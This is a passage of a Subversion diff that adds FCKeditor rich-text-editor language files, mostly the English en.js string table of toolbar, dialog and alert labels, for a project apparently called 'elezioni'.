+DlgImgURL			: "URL",
+DlgImgUpload		: "Upload",
+DlgImgAlt			: "Alternative Text",
+DlgImgWidth			: "Width",
+DlgImgHeight		: "Height",
+DlgImgLockRatio		: "Lock Ratio",
+DlgBtnResetSize		: "Reset Size",
+DlgImgBorder		: "Border",
+DlgImgHSpace		: "HSpace",
+DlgImgVSpace		: "VSpace",
+DlgImgAlign			: "Align",
+DlgImgAlignLeft		: "Left",
+DlgImgAlignAbsBottom: "Abs Bottom",
+DlgImgAlignAbsMiddle: "Abs Middle",
+DlgImgAlignBaseline	: "Baseline",
+DlgImgAlignBottom	: "Bottom",
+DlgImgAlignMiddle	: "Middle",
+DlgImgAlignRight	: "Right",
+DlgImgAlignTextTop	: "Text Top",
+DlgImgAlignTop		: "Top",
+DlgImgPreview		: "Preview",
+DlgImgAlertUrl		: "Please type the image URL",
+DlgImgLinkTab		: "Link",
+
+// Flash Dialog
+DlgFlashTitle		: "Flash Properties",
+DlgFlashChkPlay		: "Auto Play",
+DlgFlashChkLoop		: "Loop",
+DlgFlashChkMenu		: "Enable Flash Menu",
+DlgFlashScale		: "Scale",
+DlgFlashScaleAll	: "Show all",
+DlgFlashScaleNoBorder	: "No Border",
+DlgFlashScaleFit	: "Exact Fit",
+
+// Link Dialog
+DlgLnkWindowTitle	: "Link",
+DlgLnkInfoTab		: "Link Info",
+DlgLnkTargetTab		: "Target",
+
+DlgLnkType			: "Link Type",
+DlgLnkTypeURL		: "URL",
+DlgLnkTypeAnchor	: "Link to anchor in the text",
+DlgLnkTypeEMail		: "E-Mail",
+DlgLnkProto			: "Protocol",
+DlgLnkProtoOther	: "<other>",
+DlgLnkURL			: "URL",
+DlgLnkAnchorSel		: "Select an Anchor",
+DlgLnkAnchorByName	: "By Anchor Name",
+DlgLnkAnchorById	: "By Element Id",
+DlgLnkNoAnchors		: "<No anchors available in the document>",
+DlgLnkEMail			: "E-Mail Address",
+DlgLnkEMailSubject	: "Message Subject",
+DlgLnkEMailBody		: "Message Body",
+DlgLnkUpload		: "Upload",
+DlgLnkBtnUpload		: "Send it to the Server",
+
+DlgLnkTarget		: "Target",
+DlgLnkTargetFrame	: "<frame>",
+DlgLnkTargetPopup	: "<popup window>",
+DlgLnkTargetBlank	: "New Window (_blank)",
+DlgLnkTargetParent	: "Parent Window (_parent)",
+DlgLnkTargetSelf	: "Same Window (_self)",
+DlgLnkTargetTop		: "Topmost Window (_top)",
+DlgLnkTargetFrameName	: "Target Frame Name",
+DlgLnkPopWinName	: "Popup Window Name",
+DlgLnkPopWinFeat	: "Popup Window Features",
+DlgLnkPopResize		: "Resizable",
+DlgLnkPopLocation	: "Location Bar",
+DlgLnkPopMenu		: "Menu Bar",
+DlgLnkPopScroll		: "Scroll Bars",
+DlgLnkPopStatus		: "Status Bar",
+DlgLnkPopToolbar	: "Toolbar",
+DlgLnkPopFullScrn	: "Full Screen (IE)",
+DlgLnkPopDependent	: "Dependent (Netscape)",
+DlgLnkPopWidth		: "Width",
+DlgLnkPopHeight		: "Height",
+DlgLnkPopLeft		: "Left Position",
+DlgLnkPopTop		: "Top Position",
+
+DlnLnkMsgNoUrl		: "Please type the link URL",
+DlnLnkMsgNoEMail	: "Please type the e-mail address",
+DlnLnkMsgNoAnchor	: "Please select an anchor",
+DlnLnkMsgInvPopName	: "The popup name must begin with an alphabetic character and must not contain spaces",
+
+// Color Dialog
+DlgColorTitle		: "Select Colour",
+DlgColorBtnClear	: "Clear",
+DlgColorHighlight	: "Highlight",
+DlgColorSelected	: "Selected",
+
+// Smiley Dialog
+DlgSmileyTitle		: "Insert a Smiley",
+
+// Special Character Dialog
+DlgSpecialCharTitle	: "Select Special Character",
+
+// Table Dialog
+DlgTableTitle		: "Table Properties",
+DlgTableRows		: "Rows",
+DlgTableColumns		: "Columns",
+DlgTableBorder		: "Border size",
+DlgTableAlign		: "Alignment",
+DlgTableAlignNotSet	: "<Not set>",
+DlgTableAlignLeft	: "Left",
+DlgTableAlignCenter	: "Centre",
+DlgTableAlignRight	: "Right",
+DlgTableWidth		: "Width",
+DlgTableWidthPx		: "pixels",
+DlgTableWidthPc		: "percent",
+DlgTableHeight		: "Height",
+DlgTableCellSpace	: "Cell spacing",
+DlgTableCellPad		: "Cell padding",
+DlgTableCaption		: "Caption",
+DlgTableSummary		: "Summary",
+
+// Table Cell Dialog
+DlgCellTitle		: "Cell Properties",
+DlgCellWidth		: "Width",
+DlgCellWidthPx		: "pixels",
+DlgCellWidthPc		: "percent",
+DlgCellHeight		: "Height",
+DlgCellWordWrap		: "Word Wrap",
+DlgCellWordWrapNotSet	: "<Not set>",
+DlgCellWordWrapYes	: "Yes",
+DlgCellWordWrapNo	: "No",
+DlgCellHorAlign		: "Horizontal Alignment",
+DlgCellHorAlignNotSet	: "<Not set>",
+DlgCellHorAlignLeft	: "Left",
+DlgCellHorAlignCenter	: "Centre",
+DlgCellHorAlignRight: "Right",
+DlgCellVerAlign		: "Vertical Alignment",
+DlgCellVerAlignNotSet	: "<Not set>",
+DlgCellVerAlignTop	: "Top",
+DlgCellVerAlignMiddle	: "Middle",
+DlgCellVerAlignBottom	: "Bottom",
+DlgCellVerAlignBaseline	: "Baseline",
+DlgCellRowSpan		: "Rows Span",
+DlgCellCollSpan		: "Columns Span",
+DlgCellBackColor	: "Background Colour",
+DlgCellBorderColor	: "Border Colour",
+DlgCellBtnSelect	: "Select...",
+
+// Find Dialog
+DlgFindTitle		: "Find",
+DlgFindFindBtn		: "Find",
+DlgFindNotFoundMsg	: "The specified text was not found.",
+
+// Replace Dialog
+DlgReplaceTitle			: "Replace",
+DlgReplaceFindLbl		: "Find what:",
+DlgReplaceReplaceLbl	: "Replace with:",
+DlgReplaceCaseChk		: "Match case",
+DlgReplaceReplaceBtn	: "Replace",
+DlgReplaceReplAllBtn	: "Replace All",
+DlgReplaceWordChk		: "Match whole word",
+
+// Paste Operations / Dialog
+PasteErrorPaste	: "Your browser security settings don't permit the editor to automatically execute pasting operations. Please use the keyboard for that (Ctrl+V).",
+PasteErrorCut	: "Your browser security settings don't permit the editor to automatically execute cutting operations. Please use the keyboard for that (Ctrl+X).",
+PasteErrorCopy	: "Your browser security settings don't permit the editor to automatically execute copying operations. Please use the keyboard for that (Ctrl+C).",
+
+PasteAsText		: "Paste as Plain Text",
+PasteFromWord	: "Paste from Word",
+
+DlgPasteMsg2	: "Please paste inside the following box using the keyboard (<STRONG>Ctrl+V</STRONG>) and hit <STRONG>OK</STRONG>.",
+DlgPasteIgnoreFont		: "Ignore Font Face definitions",
+DlgPasteRemoveStyles	: "Remove Styles definitions",
+DlgPasteCleanBox		: "Clean Up Box",
+
+// Color Picker
+ColorAutomatic	: "Automatic",
+ColorMoreColors	: "More Colours...",
+
+// Document Properties
+DocProps		: "Document Properties",
+
+// Anchor Dialog
+DlgAnchorTitle		: "Anchor Properties",
+DlgAnchorName		: "Anchor Name",
+DlgAnchorErrorName	: "Please type the anchor name",
+
+// Speller Pages Dialog
+DlgSpellNotInDic		: "Not in dictionary",
+DlgSpellChangeTo		: "Change to",
+DlgSpellBtnIgnore		: "Ignore",
+DlgSpellBtnIgnoreAll	: "Ignore All",
+DlgSpellBtnReplace		: "Replace",
+DlgSpellBtnReplaceAll	: "Replace All",
+DlgSpellBtnUndo			: "Undo",
+DlgSpellNoSuggestions	: "- No suggestions -",
+DlgSpellProgress		: "Spell check in progress...",
+DlgSpellNoMispell		: "Spell check complete: No misspellings found",
+DlgSpellNoChanges		: "Spell check complete: No words changed",
+DlgSpellOneChange		: "Spell check complete: One word changed",
+DlgSpellManyChanges		: "Spell check complete: %1 words changed",
+
+IeSpellDownload			: "Spell checker not installed. Do you want to download it now?",
+
+// Button Dialog
+DlgButtonText		: "Text (Value)",
+DlgButtonType		: "Type",
+DlgButtonTypeBtn	: "Button",
+DlgButtonTypeSbm	: "Submit",
+DlgButtonTypeRst	: "Reset",
+
+// Checkbox and Radio Button Dialogs
+DlgCheckboxName		: "Name",
+DlgCheckboxValue	: "Value",
+DlgCheckboxSelected	: "Selected",
+
+// Form Dialog
+DlgFormName		: "Name",
+DlgFormAction	: "Action",
+DlgFormMethod	: "Method",
+
+// Select Field Dialog
+DlgSelectName		: "Name",
+DlgSelectValue		: "Value",
+DlgSelectSize		: "Size",
+DlgSelectLines		: "lines",
+DlgSelectChkMulti	: "Allow multiple selections",
+DlgSelectOpAvail	: "Available Options",
+DlgSelectOpText		: "Text",
+DlgSelectOpValue	: "Value",
+DlgSelectBtnAdd		: "Add",
+DlgSelectBtnModify	: "Modify",
+DlgSelectBtnUp		: "Up",
+DlgSelectBtnDown	: "Down",
+DlgSelectBtnSetValue : "Set as selected value",
+DlgSelectBtnDelete	: "Delete",
+
+// Textarea Dialog
+DlgTextareaName	: "Name",
+DlgTextareaCols	: "Columns",
+DlgTextareaRows	: "Rows",
+
+// Text Field Dialog
+DlgTextName			: "Name",
+DlgTextValue		: "Value",
+DlgTextCharWidth	: "Character Width",
+DlgTextMaxChars		: "Maximum Characters",
+DlgTextType			: "Type",
+DlgTextTypeText		: "Text",
+DlgTextTypePass		: "Password",
+
+// Hidden Field Dialog
+DlgHiddenName	: "Name",
+DlgHiddenValue	: "Value",
+
+// Bulleted List Dialog
+BulletedListProp	: "Bulleted List Properties",
+NumberedListProp	: "Numbered List Properties",
+DlgLstStart			: "Start",
+DlgLstType			: "Type",
+DlgLstTypeCircle	: "Circle",
+DlgLstTypeDisc		: "Disc",
+DlgLstTypeSquare	: "Square",
+DlgLstTypeNumbers	: "Numbers (1, 2, 3)",
+DlgLstTypeLCase		: "Lowercase Letters (a, b, c)",
+DlgLstTypeUCase		: "Uppercase Letters (A, B, C)",
+DlgLstTypeSRoman	: "Small Roman Numerals (i, ii, iii)",
+DlgLstTypeLRoman	: "Large Roman Numerals (I, II, III)",
+
+// Document Properties Dialog
+DlgDocGeneralTab	: "General",
+DlgDocBackTab		: "Background",
+DlgDocColorsTab		: "Colours and Margins",
+DlgDocMetaTab		: "Meta Data",
+
+DlgDocPageTitle		: "Page Title",
+DlgDocLangDir		: "Language Direction",
+DlgDocLangDirLTR	: "Left to Right (LTR)",
+DlgDocLangDirRTL	: "Right to Left (RTL)",
+DlgDocLangCode		: "Language Code",
+DlgDocCharSet		: "Character Set Encoding",
+DlgDocCharSetCE		: "Central European",
+DlgDocCharSetCT		: "Chinese Traditional (Big5)",
+DlgDocCharSetCR		: "Cyrillic",
+DlgDocCharSetGR		: "Greek",
+DlgDocCharSetJP		: "Japanese",
+DlgDocCharSetKR		: "Korean",
+DlgDocCharSetTR		: "Turkish",
+DlgDocCharSetUN		: "Unicode (UTF-8)",
+DlgDocCharSetWE		: "Western European",
+DlgDocCharSetOther	: "Other Character Set Encoding",
+
+DlgDocDocType		: "Document Type Heading",
+DlgDocDocTypeOther	: "Other Document Type Heading",
+DlgDocIncXHTML		: "Include XHTML Declarations",
+DlgDocBgColor		: "Background Colour",
+DlgDocBgImage		: "Background Image URL",
+DlgDocBgNoScroll	: "Nonscrolling Background",
+DlgDocCText			: "Text",
+DlgDocCLink			: "Link",
+DlgDocCVisited		: "Visited Link",
+DlgDocCActive		: "Active Link",
+DlgDocMargins		: "Page Margins",
+DlgDocMaTop			: "Top",
+DlgDocMaLeft		: "Left",
+DlgDocMaRight		: "Right",
+DlgDocMaBottom		: "Bottom",
+DlgDocMeIndex		: "Document Indexing Keywords (comma separated)",
+DlgDocMeDescr		: "Document Description",
+DlgDocMeAuthor		: "Author",
+DlgDocMeCopy		: "Copyright",
+DlgDocPreview		: "Preview",
+
+// Templates Dialog
+Templates			: "Templates",
+DlgTemplatesTitle	: "Content Templates",
+DlgTemplatesSelMsg	: "Please select the template to open in the editor<br>(the actual contents will be lost):",
+DlgTemplatesLoading	: "Loading templates list. Please wait...",
+DlgTemplatesNoTpl	: "(No templates defined)",
+DlgTemplatesReplace	: "Replace actual contents",
+
+// About Dialog
+DlgAboutAboutTab	: "About",
+DlgAboutBrowserInfoTab	: "Browser Info",
+DlgAboutLicenseTab	: "License",
+DlgAboutVersion		: "version",
+DlgAboutLicense		: "Licensed under the terms of the GNU Lesser General Public License",
+DlgAboutInfo		: "For further information go to"
+}
Index: /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/lang/en.js
===================================================================
--- /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/lang/en.js	(revision 44)
+++ /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/lang/en.js	(revision 44)
@@ -0,0 +1,501 @@
+﻿/*
+ * FCKeditor - The text editor for internet
+ * Copyright (C) 2003-2006 Frederico Caldeira Knabben
+ * 
+ * Licensed under the terms of the GNU Lesser General Public License:
+ * 		http://www.opensource.org/licenses/lgpl-license.php
+ * 
+ * For further information visit:
+ * 		http://www.fckeditor.net/
+ * 
+ * "Support Open Source software. What about a donation today?"
+ * 
+ * File Name: en.js
+ * 	English language file.
+ * 
+ * File Authors:
+ * 		Frederico Caldeira Knabben (fredck@fckeditor.net)
+ */
+
+var FCKLang =
+{
+// Language direction : "ltr" (left to right) or "rtl" (right to left).
+Dir					: "ltr",
+
+ToolbarCollapse		: "Collapse Toolbar",
+ToolbarExpand		: "Expand Toolbar",
+
+// Toolbar Items and Context Menu
+Save				: "Save",
+NewPage				: "New Page",
+Preview				: "Preview",
+Cut					: "Cut",
+Copy				: "Copy",
+Paste				: "Paste",
+PasteText			: "Paste as plain text",
+PasteWord			: "Paste from Word",
+Print				: "Print",
+SelectAll			: "Select All",
+RemoveFormat		: "Remove Format",
+InsertLinkLbl		: "Link",
+InsertLink			: "Insert/Edit Link",
+RemoveLink			: "Remove Link",
+Anchor				: "Insert/Edit Anchor",
+InsertImageLbl		: "Image",
+InsertImage			: "Insert/Edit Image",
+InsertFlashLbl		: "Flash",
+InsertFlash			: "Insert/Edit Flash",
+InsertTableLbl		: "Table",
+InsertTable			: "Insert/Edit Table",
+InsertLineLbl		: "Line",
+InsertLine			: "Insert Horizontal Line",
+InsertSpecialCharLbl: "Special Character",
+InsertSpecialChar	: "Insert Special Character",
+InsertSmileyLbl		: "Smiley",
+InsertSmiley		: "Insert Smiley",
+About				: "About FCKeditor",
+Bold				: "Bold",
+Italic				: "Italic",
+Underline			: "Underline",
+StrikeThrough		: "Strike Through",
+Subscript			: "Subscript",
+Superscript			: "Superscript",
+LeftJustify			: "Left Justify",
+CenterJustify		: "Center Justify",
+RightJustify		: "Right Justify",
+BlockJustify		: "Block Justify",
+DecreaseIndent		: "Decrease Indent",
+IncreaseIndent		: "Increase Indent",
+Undo				: "Undo",
+Redo				: "Redo",
+NumberedListLbl		: "Numbered List",
+NumberedList		: "Insert/Remove Numbered List",
+BulletedListLbl		: "Bulleted List",
+BulletedList		: "Insert/Remove Bulleted List",
+ShowTableBorders	: "Show Table Borders",
+ShowDetails			: "Show Details",
+Style				: "Style",
+FontFormat			: "Format",
+Font				: "Font",
+FontSize			: "Size",
+TextColor			: "Text Color",
+BGColor				: "Background Color",
+Source				: "Source",
+Find				: "Find",
+Replace				: "Replace",
+SpellCheck			: "Check Spelling",
+UniversalKeyboard	: "Universal Keyboard",
+PageBreakLbl		: "Page Break",
+PageBreak			: "Insert Page Break",
+
+Form			: "Form",
+Checkbox		: "Checkbox",
+RadioButton		: "Radio Button",
+TextField		: "Text Field",
+Textarea		: "Textarea",
+HiddenField		: "Hidden Field",
+Button			: "Button",
+SelectionField	: "Selection Field",
+ImageButton		: "Image Button",
+
+FitWindow		: "Maximize the editor size",
+
+// Context Menu
+EditLink			: "Edit Link",
+CellCM				: "Cell",
+RowCM				: "Row",
+ColumnCM			: "Column",
+InsertRow			: "Insert Row",
+DeleteRows			: "Delete Rows",
+InsertColumn		: "Insert Column",
+DeleteColumns		: "Delete Columns",
+InsertCell			: "Insert Cell",
+DeleteCells			: "Delete Cells",
+MergeCells			: "Merge Cells",
+SplitCell			: "Split Cell",
+TableDelete			: "Delete Table",
+CellProperties		: "Cell Properties",
+TableProperties		: "Table Properties",
+ImageProperties		: "Image Properties",
+FlashProperties		: "Flash Properties",
+
+AnchorProp			: "Anchor Properties",
+ButtonProp			: "Button Properties",
+CheckboxProp		: "Checkbox Properties",
+HiddenFieldProp		: "Hidden Field Properties",
+RadioButtonProp		: "Radio Button Properties",
+ImageButtonProp		: "Image Button Properties",
+TextFieldProp		: "Text Field Properties",
+SelectionFieldProp	: "Selection Field Properties",
+TextareaProp		: "Textarea Properties",
+FormProp			: "Form Properties",
+
+FontFormats			: "Normal;Formatted;Address;Heading 1;Heading 2;Heading 3;Heading 4;Heading 5;Heading 6;Normal (DIV)",
+
+// Alerts and Messages
+ProcessingXHTML		: "Processing XHTML. Please wait...",
+Done				: "Done",
+PasteWordConfirm	: "The text you want to paste seems to be copied from Word. Do you want to clean it before pasting?",
+NotCompatiblePaste	: "This command is available for Internet Explorer version 5.5 or more. Do you want to paste without cleaning?",
+UnknownToolbarItem	: "Unknown toolbar item \"%1\"",
+UnknownCommand		: "Unknown command name \"%1\"",
+NotImplemented		: "Command not implemented",
+UnknownToolbarSet	: "Toolbar set \"%1\" doesn't exist",
+NoActiveX			: "Your browser's security settings could limit some features of the editor. You must enable the option \"Run ActiveX controls and plug-ins\". You may experience errors and notice missing features.",
+BrowseServerBlocked : "The resources browser could not be opened. Make sure that all popup blockers are disabled.",
+DialogBlocked		: "It was not possible to open the dialog window. Make sure all popup blockers are disabled.",
+
+// Dialogs
+DlgBtnOK			: "OK",
+DlgBtnCancel		: "Cancel",
+DlgBtnClose			: "Close",
+DlgBtnBrowseServer	: "Browse Server",
+DlgAdvancedTag		: "Advanced",
+DlgOpOther			: "<Other>",
+DlgInfoTab			: "Info",
+DlgAlertUrl			: "Please insert the URL",
+
+// General Dialogs Labels
+DlgGenNotSet		: "<not set>",
+DlgGenId			: "Id",
+DlgGenLangDir		: "Language Direction",
+DlgGenLangDirLtr	: "Left to Right (LTR)",
+DlgGenLangDirRtl	: "Right to Left (RTL)",
+DlgGenLangCode		: "Language Code",
+DlgGenAccessKey		: "Access Key",
+DlgGenName			: "Name",
+DlgGenTabIndex		: "Tab Index",
+DlgGenLongDescr		: "Long Description URL",
+DlgGenClass			: "Stylesheet Classes",
+DlgGenTitle			: "Advisory Title",
+DlgGenContType		: "Advisory Content Type",
+DlgGenLinkCharset	: "Linked Resource Charset",
+DlgGenStyle			: "Style",
+
+// Image Dialog
+DlgImgTitle			: "Image Properties",
+DlgImgInfoTab		: "Image Info",
+DlgImgBtnUpload		: "Send it to the Server",
+DlgImgURL			: "URL",
+DlgImgUpload		: "Upload",
+DlgImgAlt			: "Alternative Text",
+DlgImgWidth			: "Width",
+DlgImgHeight		: "Height",
+DlgImgLockRatio		: "Lock Ratio",
+DlgBtnResetSize		: "Reset Size",
+DlgImgBorder		: "Border",
+DlgImgHSpace		: "HSpace",
+DlgImgVSpace		: "VSpace",
+DlgImgAlign			: "Align",
+DlgImgAlignLeft		: "Left",
+DlgImgAlignAbsBottom: "Abs Bottom",
+DlgImgAlignAbsMiddle: "Abs Middle",
+DlgImgAlignBaseline	: "Baseline",
+DlgImgAlignBottom	: "Bottom",
+DlgImgAlignMiddle	: "Middle",
+DlgImgAlignRight	: "Right",
+DlgImgAlignTextTop	: "Text Top",
+DlgImgAlignTop		: "Top",
+DlgImgPreview		: "Preview",
+DlgImgAlertUrl		: "Please type the image URL",
+DlgImgLinkTab		: "Link",
+
+// Flash Dialog
+DlgFlashTitle		: "Flash Properties",
+DlgFlashChkPlay		: "Auto Play",
+DlgFlashChkLoop		: "Loop",
+DlgFlashChkMenu		: "Enable Flash Menu",
+DlgFlashScale		: "Scale",
+DlgFlashScaleAll	: "Show all",
+DlgFlashScaleNoBorder	: "No Border",
+DlgFlashScaleFit	: "Exact Fit",
+
+// Link Dialog
+DlgLnkWindowTitle	: "Link",
+DlgLnkInfoTab		: "Link Info",
+DlgLnkTargetTab		: "Target",
+
+DlgLnkType			: "Link Type",
+DlgLnkTypeURL		: "URL",
+DlgLnkTypeAnchor	: "Link to anchor in the text",
+DlgLnkTypeEMail		: "E-Mail",
+DlgLnkProto			: "Protocol",
+DlgLnkProtoOther	: "<other>",
+DlgLnkURL			: "URL",
+DlgLnkAnchorSel		: "Select an Anchor",
+DlgLnkAnchorByName	: "By Anchor Name",
+DlgLnkAnchorById	: "By Element Id",
+DlgLnkNoAnchors		: "<No anchors available in the document>",
+DlgLnkEMail			: "E-Mail Address",
+DlgLnkEMailSubject	: "Message Subject",
+DlgLnkEMailBody		: "Message Body",
+DlgLnkUpload		: "Upload",
+DlgLnkBtnUpload		: "Send it to the Server",
+
+DlgLnkTarget		: "Target",
+DlgLnkTargetFrame	: "<frame>",
+DlgLnkTargetPopup	: "<popup window>",
+DlgLnkTargetBlank	: "New Window (_blank)",
+DlgLnkTargetParent	: "Parent Window (_parent)",
+DlgLnkTargetSelf	: "Same Window (_self)",
+DlgLnkTargetTop		: "Topmost Window (_top)",
+DlgLnkTargetFrameName	: "Target Frame Name",
+DlgLnkPopWinName	: "Popup Window Name",
+DlgLnkPopWinFeat	: "Popup Window Features",
+DlgLnkPopResize		: "Resizable",
+DlgLnkPopLocation	: "Location Bar",
+DlgLnkPopMenu		: "Menu Bar",
+DlgLnkPopScroll		: "Scroll Bars",
+DlgLnkPopStatus		: "Status Bar",
+DlgLnkPopToolbar	: "Toolbar",
+DlgLnkPopFullScrn	: "Full Screen (IE)",
+DlgLnkPopDependent	: "Dependent (Netscape)",
+DlgLnkPopWidth		: "Width",
+DlgLnkPopHeight		: "Height",
+DlgLnkPopLeft		: "Left Position",
+DlgLnkPopTop		: "Top Position",
+
+DlnLnkMsgNoUrl		: "Please type the link URL",
+DlnLnkMsgNoEMail	: "Please type the e-mail address",
+DlnLnkMsgNoAnchor	: "Please select an anchor",
+DlnLnkMsgInvPopName	: "The popup name must begin with an alphabetic character and must not contain spaces",
+
+// Color Dialog
+DlgColorTitle		: "Select Color",
+DlgColorBtnClear	: "Clear",
+DlgColorHighlight	: "Highlight",
+DlgColorSelected	: "Selected",
+
+// Smiley Dialog
+DlgSmileyTitle		: "Insert a Smiley",
+
+// Special Character Dialog
+DlgSpecialCharTitle	: "Select Special Character",
+
+// Table Dialog
+DlgTableTitle		: "Table Properties",
+DlgTableRows		: "Rows",
+DlgTableColumns		: "Columns",
+DlgTableBorder		: "Border size",
+DlgTableAlign		: "Alignment",
+DlgTableAlignNotSet	: "<Not set>",
+DlgTableAlignLeft	: "Left",
+DlgTableAlignCenter	: "Center",
+DlgTableAlignRight	: "Right",
+DlgTableWidth		: "Width",
+DlgTableWidthPx		: "pixels",
+DlgTableWidthPc		: "percent",
+DlgTableHeight		: "Height",
+DlgTableCellSpace	: "Cell spacing",
+DlgTableCellPad		: "Cell padding",
+DlgTableCaption		: "Caption",
+DlgTableSummary		: "Summary",
+
+// Table Cell Dialog
+DlgCellTitle		: "Cell Properties",
+DlgCellWidth		: "Width",
+DlgCellWidthPx		: "pixels",
+DlgCellWidthPc		: "percent",
+DlgCellHeight		: "Height",
+DlgCellWordWrap		: "Word Wrap",
+DlgCellWordWrapNotSet	: "<Not set>",
+DlgCellWordWrapYes	: "Yes",
+DlgCellWordWrapNo	: "No",
+DlgCellHorAlign		: "Horizontal Alignment",
+DlgCellHorAlignNotSet	: "<Not set>",
+DlgCellHorAlignLeft	: "Left",
+DlgCellHorAlignCenter	: "Center",
+DlgCellHorAlignRight: "Right",
+DlgCellVerAlign		: "Vertical Alignment",
+DlgCellVerAlignNotSet	: "<Not set>",
+DlgCellVerAlignTop	: "Top",
+DlgCellVerAlignMiddle	: "Middle",
+DlgCellVerAlignBottom	: "Bottom",
+DlgCellVerAlignBaseline	: "Baseline",
+DlgCellRowSpan		: "Rows Span",
+DlgCellCollSpan		: "Columns Span",
+DlgCellBackColor	: "Background Color",
+DlgCellBorderColor	: "Border Color",
+DlgCellBtnSelect	: "Select...",
+
+// Find Dialog
+DlgFindTitle		: "Find",
+DlgFindFindBtn		: "Find",
+DlgFindNotFoundMsg	: "The specified text was not found.",
+
+// Replace Dialog
+DlgReplaceTitle			: "Replace",
+DlgReplaceFindLbl		: "Find what:",
+DlgReplaceReplaceLbl	: "Replace with:",
+DlgReplaceCaseChk		: "Match case",
+DlgReplaceReplaceBtn	: "Replace",
+DlgReplaceReplAllBtn	: "Replace All",
+DlgReplaceWordChk		: "Match whole word",
+
+// Paste Operations / Dialog
+PasteErrorPaste	: "Your browser security settings don't permit the editor to automatically execute pasting operations. Please use the keyboard for that (Ctrl+V).",
+PasteErrorCut	: "Your browser security settings don't permit the editor to automatically execute cutting operations. Please use the keyboard for that (Ctrl+X).",
+PasteErrorCopy	: "Your browser security settings don't permit the editor to automatically execute copying operations. Please use the keyboard for that (Ctrl+C).",
+
+PasteAsText		: "Paste as Plain Text",
+PasteFromWord	: "Paste from Word",
+
+DlgPasteMsg2	: "Please paste inside the following box using the keyboard (<STRONG>Ctrl+V</STRONG>) and hit <STRONG>OK</STRONG>.",
+DlgPasteIgnoreFont		: "Ignore Font Face definitions",
+DlgPasteRemoveStyles	: "Remove Styles definitions",
+DlgPasteCleanBox		: "Clean Up Box",
+
+// Color Picker
+ColorAutomatic	: "Automatic",
+ColorMoreColors	: "More Colors...",
+
+// Document Properties
+DocProps		: "Document Properties",
+
+// Anchor Dialog
+DlgAnchorTitle		: "Anchor Properties",
+DlgAnchorName		: "Anchor Name",
+DlgAnchorErrorName	: "Please type the anchor name",
+
+// Speller Pages Dialog
+DlgSpellNotInDic		: "Not in dictionary",
+DlgSpellChangeTo		: "Change to",
+DlgSpellBtnIgnore		: "Ignore",
+DlgSpellBtnIgnoreAll	: "Ignore All",
+DlgSpellBtnReplace		: "Replace",
+DlgSpellBtnReplaceAll	: "Replace All",
+DlgSpellBtnUndo			: "Undo",
+DlgSpellNoSuggestions	: "- No suggestions -",
+DlgSpellProgress		: "Spell check in progress...",
+DlgSpellNoMispell		: "Spell check complete: No misspellings found",
+DlgSpellNoChanges		: "Spell check complete: No words changed",
+DlgSpellOneChange		: "Spell check complete: One word changed",
+DlgSpellManyChanges		: "Spell check complete: %1 words changed",
+
+IeSpellDownload			: "Spell checker not installed. Do you want to download it now?",
+
+// Button Dialog
+DlgButtonText		: "Text (Value)",
+DlgButtonType		: "Type",
+DlgButtonTypeBtn	: "Button",
+DlgButtonTypeSbm	: "Submit",
+DlgButtonTypeRst	: "Reset",
+
+// Checkbox and Radio Button Dialogs
+DlgCheckboxName		: "Name",
+DlgCheckboxValue	: "Value",
+DlgCheckboxSelected	: "Selected",
+
+// Form Dialog
+DlgFormName		: "Name",
+DlgFormAction	: "Action",
+DlgFormMethod	: "Method",
+
+// Select Field Dialog
+DlgSelectName		: "Name",
+DlgSelectValue		: "Value",
+DlgSelectSize		: "Size",
+DlgSelectLines		: "lines",
+DlgSelectChkMulti	: "Allow multiple selections",
+DlgSelectOpAvail	: "Available Options",
+DlgSelectOpText		: "Text",
+DlgSelectOpValue	: "Value",
+DlgSelectBtnAdd		: "Add",
+DlgSelectBtnModify	: "Modify",
+DlgSelectBtnUp		: "Up",
+DlgSelectBtnDown	: "Down",
+DlgSelectBtnSetValue : "Set as selected value",
+DlgSelectBtnDelete	: "Delete",
+
+// Textarea Dialog
+DlgTextareaName	: "Name",
+DlgTextareaCols	: "Columns",
+DlgTextareaRows	: "Rows",
+
+// Text Field Dialog
+DlgTextName			: "Name",
+DlgTextValue		: "Value",
+DlgTextCharWidth	: "Character Width",
+DlgTextMaxChars		: "Maximum Characters",
+DlgTextType			: "Type",
+DlgTextTypeText		: "Text",
+DlgTextTypePass		: "Password",
+
+// Hidden Field Dialog
+DlgHiddenName	: "Name",
+DlgHiddenValue	: "Value",
+
+// Bulleted List Dialog
+BulletedListProp	: "Bulleted List Properties",
+NumberedListProp	: "Numbered List Properties",
+DlgLstStart			: "Start",
+DlgLstType			: "Type",
+DlgLstTypeCircle	: "Circle",
+DlgLstTypeDisc		: "Disc",
+DlgLstTypeSquare	: "Square",
+DlgLstTypeNumbers	: "Numbers (1, 2, 3)",
+DlgLstTypeLCase		: "Lowercase Letters (a, b, c)",
+DlgLstTypeUCase		: "Uppercase Letters (A, B, C)",
+DlgLstTypeSRoman	: "Small Roman Numerals (i, ii, iii)",
+DlgLstTypeLRoman	: "Large Roman Numerals (I, II, III)",
+
+// Document Properties Dialog
+DlgDocGeneralTab	: "General",
+DlgDocBackTab		: "Background",
+DlgDocColorsTab		: "Colors and Margins",
+DlgDocMetaTab		: "Meta Data",
+
+DlgDocPageTitle		: "Page Title",
+DlgDocLangDir		: "Language Direction",
+DlgDocLangDirLTR	: "Left to Right (LTR)",
+DlgDocLangDirRTL	: "Right to Left (RTL)",
+DlgDocLangCode		: "Language Code",
+DlgDocCharSet		: "Character Set Encoding",
+DlgDocCharSetCE		: "Central European",
+DlgDocCharSetCT		: "Chinese Traditional (Big5)",
+DlgDocCharSetCR		: "Cyrillic",
+DlgDocCharSetGR		: "Greek",
+DlgDocCharSetJP		: "Japanese",
+DlgDocCharSetKR		: "Korean",
+DlgDocCharSetTR		: "Turkish",
+DlgDocCharSetUN		: "Unicode (UTF-8)",
+DlgDocCharSetWE		: "Western European",
+DlgDocCharSetOther	: "Other Character Set Encoding",
+
+DlgDocDocType		: "Document Type Heading",
+DlgDocDocTypeOther	: "Other Document Type Heading",
+DlgDocIncXHTML		: "Include XHTML Declarations",
+DlgDocBgColor		: "Background Color",
+DlgDocBgImage		: "Background Image URL",
+DlgDocBgNoScroll	: "Nonscrolling Background",
+DlgDocCText			: "Text",
+DlgDocCLink			: "Link",
+DlgDocCVisited		: "Visited Link",
+DlgDocCActive		: "Active Link",
+DlgDocMargins		: "Page Margins",
+DlgDocMaTop			: "Top",
